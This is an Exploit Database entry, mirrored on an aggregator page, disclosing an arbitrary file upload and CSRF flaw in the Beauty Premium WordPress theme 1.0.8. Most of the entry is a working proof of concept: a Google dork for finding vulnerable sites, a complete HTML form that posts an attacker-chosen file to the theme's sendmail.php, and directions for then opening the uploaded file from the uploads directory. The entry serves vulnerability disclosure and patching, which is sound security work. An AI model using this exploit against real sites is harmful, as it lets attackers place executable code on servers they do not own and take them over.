WordPress Theme Beauty & Clean 1.0.8 – Arbitrary File Upload

• Exploit Database
• 129 阅读

• 作者： Colette Chamberland
  日期： 2016-03-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39552/
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  * Exploit Title: WordPress Beauty Theme File Upload Vulnerability v1.0.8 * Discovery Date: 02.09.2016 * Public Disclosure Date:03.09.2016 * Vendor Homepage: http://www.yourinspirationweb.com * Exploit Author: Colette Chamberland (Wordfence) * Contact: colette@wordfence.com * Version: 1.0.8 (may affect newer versions but this was all I had) * Tested on: WordPress 4.2.x-4.4.x Description ================================================================================ The Beauty Premium theme contains a contact form that is vulnerable to CSRF and File Upload vulnerability in the sendmail.php file. The file attachment gets uploaded to the wordpress upload directory and it is not sanitized, allowing attackers to upload harmful code. PoC ================================================================================ Google Dork inurl:themes/beauty-premium/ or detect via WPScan:   <form method="post" action="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" enctype="multipart/form-data"> <input type="text" name="yiw_contact[name]" id="name-test" class="required" value="test" /> <input type="text" name="yiw_contact[email]" id="email-test" class="required email-validate" value="test@nowhere.com" /> <input type="text" name="yiw_contact[phone]" id="phone-test" class="" value="1234567890" /> <input type="text" name="yiw_contact[website]" id="website-test" class="" value="http://www.blah.com" /> <textarea name="yiw_contact[message]" id="message-test" rows="8" cols="30" class="required">This is a FUV test&lt;/textarea&gt; <input type="file" name="yiw_contact[file]" allow="text/*" maxlength="50"> <li class="submit-button"> <input type="hidden" name="yiw_action" value="sendemail" id="yiw_action" /> <input type="hidden" name="yiw_referer" value="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" /> <input type="hidden" name="id_form" value="test" /> <input type="submit" name="yiw_sendemail" value="send message" class="sendmail alignright" /> </li> </form>   You will receive a 404 error after posting, but navigate to the sites upload directory and access your uploaded file directly.